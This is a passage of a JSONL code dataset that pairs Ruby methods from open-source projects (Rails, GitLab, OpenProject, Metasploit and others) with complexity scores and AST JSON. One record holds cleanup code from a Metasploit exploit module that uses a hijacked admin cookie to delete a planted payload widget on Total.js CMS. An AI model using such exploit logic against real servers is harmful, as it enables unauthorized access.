end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_archive_tmp_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared\"]},\"archive_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared\"]},\"archive_path\"]}]},null]}]}","id":"1e7029cc-7b1b-4c2a-9f12-2e1dba277cef"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/appsignal.rb","start_line":71,"raw_source":"def tags(context)\n OpenProject::Logging.extend_payload!(default_payload, context)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Logging\"]},\"extend_payload!\",{\"type\":\"send\",\"children\":[null,\"default_payload\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}","id":"7bb3bd9a-e680-4c66-b3d4-4a540ecdfb8c"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/acceptance_validation_test.rb","start_line":135,"raw_source":"def define_test_class(parent)\n self.class.const_set(:TestClass, Class.new(parent))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"define_test_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"const_set\",{\"type\":\"sym\",\"children\":[\"TestClass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}","id":"1ad4eedd-2f74-4e7f-8ebd-e85dc9d3c0b3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/merge_request_diff_helpers.rb","start_line":110,"raw_source":"def find_within_panel_viewport(selector, **options)\n begin\n element = find(selector, **options, wait: 2)\n rescue Capybara::ElementNotFound\n return\n end\n return element if within_panel_viewport?(element)\n\n nil\n end","complexity_score":5.53,"ast_json":"{\"type\":\"def\",\"children\":[\"find_within_panel_viewport\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"selector\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"lvar\",\"children\":[\"selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"ElementNotFound\"]}]},null,{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_panel_viewport?\",{\"type\":\"lvar\",\"children\":[\"element\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"a1314550-69b7-4066-92ee-bae7c69e5025"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service/wiki_page_strategy.rb","start_line":52,"raw_source":"def self.subscribed_users(journal)\n User.notified_globally subscribed_notification_reason(journal)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"subscribed_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"notified_globally\",{\"type\":\"send\",\"children\":[null,\"subscribed_notification_reason\",{\"type\":\"lvar\",\"children\":[\"journal\"]}]}]}]}","id":"926d9e97-caa1-49eb-a80c-b98cf1b3e3f9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/totaljs_cms_widget_exec.rb","start_line":233,"raw_source":"def clear_widget\n admin_token = get_admin_token\n widget = get_widget\n\n print_status('Finding the payload from the widget list...')\n item = get_widget_item(admin_token, widget)\n\n json_body = {\n 'id' => item['id'],\n 'picture' => item['picture'],\n 'name' => item['name'],\n 'icon' => item['icon'],\n 'category' => item['category'],\n 'datecreated' => item['datecreated'],\n 'reference' => item['reference']\n }.to_json\n\n res = send_request_cgi({\n 'method' => 'DELETE',\n 'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),\n 'cookie' => \"__admin=#{admin_token.token}\",\n 'ctype' => 'application/json',\n 'data' => json_body\n })\n\n unless res\n fail_with(Failure::Unknown, 'Connection timed out')\n end\n\n res_json = res.get_json_document\n if res_json.kind_of?(Hash) && res_json['success']\n print_good(\"Widget cleared successfully\")\n else\n fail_with(Failure::Unknown, 'No success message in body')\n end\n end","complexity_score":35.3,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_widget\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_token\",{\"type\":\"send\",\"children\":[null,\"get_admin_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"widget\",{\"type\":\"send\",\"children\":[null,\"get_widget\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Finding the payload from the widget list...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[null,\"get_widget_item\",{\"type\":\"lvar\",\"children\":[\"admin_token\"]},{\"type\":\"lvar\",\"children\":[\"widget\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_body\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"picture\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"picture\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"icon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"icon\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"category\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"datecreated\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"datecreated\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reference\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reference\"]}]}]}]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"widgets\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"__admin=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_token\"]},\"token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"json_body\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Connection timed out\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"success\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Widget cleared successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No success message in body\"]}]}]}]}]}","id":"5456034c-054e-42f8-ad01-70597d25a612"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/rescue_test.rb","start_line":253,"raw_source":"def test_proc_rescue_handler_as_string\n get :not_allowed_raise_as_string\n assert_response :forbidden\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_proc_rescue_handler_as_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"not_allowed_raise_as_string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}","id":"87e99d06-09e4-470e-8141-798b6d7763b7"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_store/base_importer.rb","start_line":15,"raw_source":"def real_path(relative)\n fullpath = \"#{temp_folder}/#{relative}\"\n return nil unless File.exist?(fullpath)\n\n # careful to handle symlinks here, don't want to expose random data\n fullpath = Pathname.new(fullpath).realpath.to_s\n\n if fullpath && fullpath.start_with?(temp_folder)\n fullpath\n else\n nil\n end\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"real_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relative\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fullpath\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"temp_folder\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relative\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"fullpath\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fullpath\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"fullpath\"]}]},\"realpath\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullpath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fullpath\"]},\"start_with?\",{\"type\":\"send\",\"children\":[null,\"temp_folder\"]}]}]},{\"type\":\"lvar\",\"children\":[\"fullpath\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"564d20c6-f93d-4029-96e3-24b69d013c22"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/list_component.rb","start_line":101,"raw_source":"def collapsed?(date) # rubocop:disable Metrics/AbcSize\n return false if mode == :day\n return false if mode.in?(%i[week workweek]) && range.exclude?(Date.current)\n return false if mode == :month && range.exclude?(Date.current.beginning_of_week)\n\n if mode == :month\n Date.current.cweek != date.cweek\n else\n !date.today?\n end\n end","complexity_score":31.7,"ast_json":"{\"type\":\"def\",\"children\":[\"collapsed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"day\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"sym\",\"children\":[\"workweek\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"beginning_of_week\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"cweek\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"cweek\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"today?\"]},\"!\"]}]}]}]}","id":"9e870527-87d6-46f2-97ee-a1e6eb48474f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy.rb","start_line":780,"raw_source":"def check_print_debug\n if @source =~ /print_debug/\n error('Please don\\'t use (v)print_debug, use vprint_(status|good|error|warning) instead')\n end\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_print_debug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"print_debug\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Please don't use (v)print_debug, use vprint_(status|good|error|warning) instead\"]}]},null]}]}","id":"0c678af4-b42e-45d9-9ee9-13000f27bff3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/stream.rb","start_line":148,"raw_source":"def reverse_line_with_max_size(max_size)\n stream.seek(0, IO::SEEK_END)\n debris = ''\n sizeleft = max_size\n\n until sizeleft <= 0 || (buf = read_backward([BUFFER_SIZE, sizeleft].min)).empty?\n sizeleft -= buf.bytesize\n debris, *lines = (buf + debris).each_line.to_a\n lines.reverse_each do |line|\n yield(line.force_encoding(Encoding.default_external))\n end\n end\n\n yield(debris.force_encoding(Encoding.default_external)) unless debris.empty?\n end","complexity_score":36.7,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse_line_with_max_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"max_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"seek\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"SEEK_END\"]}]},{\"type\":\"lvasgn\",\"children\":[\"debris\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sizeleft\",{\"type\":\"lvar\",\"children\":[\"max_size\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sizeleft\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[null,\"read_backward\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUFFER_SIZE\"]},{\"type\":\"lvar\",\"children\":[\"sizeleft\"]}]},\"min\"]}]}]}]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sizeleft\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"bytesize\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"debris\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lines\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"debris\"]}]}]},\"each_line\"]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"reverse_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"force_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_external\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debris\"]},\"empty?\"]},null,{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"debris\"]},\"force_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_external\"]}]}]}]}]}]}","id":"62df3111-1626-4c1d-9947-1acbb3365f15"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":61,"raw_source":"def test_dynamic_finder\n x = Post.where(\"author_id = ?\", 1)\n assert_respond_to x.model, :find_by_id\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dynamic_finder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"str\",\"children\":[\"author_id = ?\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"model\"]},{\"type\":\"sym\",\"children\":[\"find_by_id\"]}]}]}]}","id":"ce0c2fe7-d58d-49fe-b9dc-1f9a98227a5e"} {"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/continuation/step.rb","start_line":75,"raw_source":"def description\n \"at '#{name}', cursor '#{cursor.inspect}'\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"at '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"', cursor '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cursor\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}","id":"05f9a642-b947-46fd-be1e-bf10509f8530"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package.rb","start_line":342,"raw_source":"def duration_in_hours\n duration * 24 if duration\n end","complexity_score":4.73,"ast_json":"{\"type\":\"def\",\"children\":[\"duration_in_hours\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration\"]},\"*\",{\"type\":\"int\",\"children\":[24]}]},null]}]}","id":"9b74ecae-c14d-49ce-a3ae-6a638f35126b"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/check_line_breakable.rb","start_line":62,"raw_source":"def extract_breakable_node_from_elements(node, elements, max)\n return unless breakable_collection?(node, elements)\n return if safe_to_ignore?(node)\n\n line = processed_source.lines[node.first_line - 1]\n return if processed_source.line_with_comment?(node.loc.line)\n return if line.length <= max\n\n extract_first_element_over_column_limit(node, elements, max)\n end","complexity_score":21.55,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_breakable_node_from_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"elements\"]},{\"type\":\"arg\",\"children\":[\"max\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"breakable_collection?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"elements\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safe_to_ignore?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"lines\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"line_with_comment?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"line\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"max\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"extract_first_element_over_column_limit\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"elements\"]},{\"type\":\"lvar\",\"children\":[\"max\"]}]}]}]}","id":"281efaee-9742-4e00-b09a-e43613b7e412"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/file_mover.rb","start_line":16,"raw_source":"def execute\n temp_file_uploader.retrieve_from_store!(file_name)\n\n return unless valid?\n\n uploader.retrieve_from_store!(file_name)\n\n move\n\n if update_markdown\n update_upload_model\n end\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"temp_file_uploader\"]},\"retrieve_from_store!\",{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uploader\"]},\"retrieve_from_store!\",{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"send\",\"children\":[null,\"move\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_markdown\"]},{\"type\":\"send\",\"children\":[null,\"update_upload_model\"]},null]}]}]}","id":"9f90ea94-4490-4b7c-8369-b67224f07288"} {"repo_name":"puma","file_path":"./repos/puma/test/test_integration_single.rb","start_line":26,"raw_source":"def test_usr2_restart\n skip_unless_signal_exist? :USR2\n _, new_reply = restart_server_and_listen(\"-q test/rackup/hello.ru\")\n assert_equal \"Hello World\", new_reply\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_usr2_restart\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless_signal_exist?\",{\"type\":\"sym\",\"children\":[\"USR2\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"new_reply\"]}]},{\"type\":\"send\",\"children\":[null,\"restart_server_and_listen\",{\"type\":\"str\",\"children\":[\"-q test/rackup/hello.ru\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello World\"]},{\"type\":\"lvar\",\"children\":[\"new_reply\"]}]}]}]}","id":"6f793e74-5b4f-421f-b72c-176554ccd1bd"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/tax_categories_controller.rb","start_line":8,"raw_source":"def permitted_resource_params\n params.require(:tax_category).permit(permitted_tax_category_attributes)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"tax_category\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_tax_category_attributes\"]}]}]}","id":"272c9597-35da-46ef-a0f1-c9f907a6d26a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/cluster_agent_token.rb","start_line":26,"raw_source":"def revoke!(current_user)\n raise ::Authn::AgnosticTokenIdentifier::NotFoundError, 'Not Found' if revocable.blank?\n\n service = ::Clusters::AgentTokens::RevokeService.new(token: revocable, current_user: current_user)\n service.execute\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"revoke!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authn\"]},\"AgnosticTokenIdentifier\"]},\"NotFoundError\"]},{\"type\":\"str\",\"children\":[\"Not 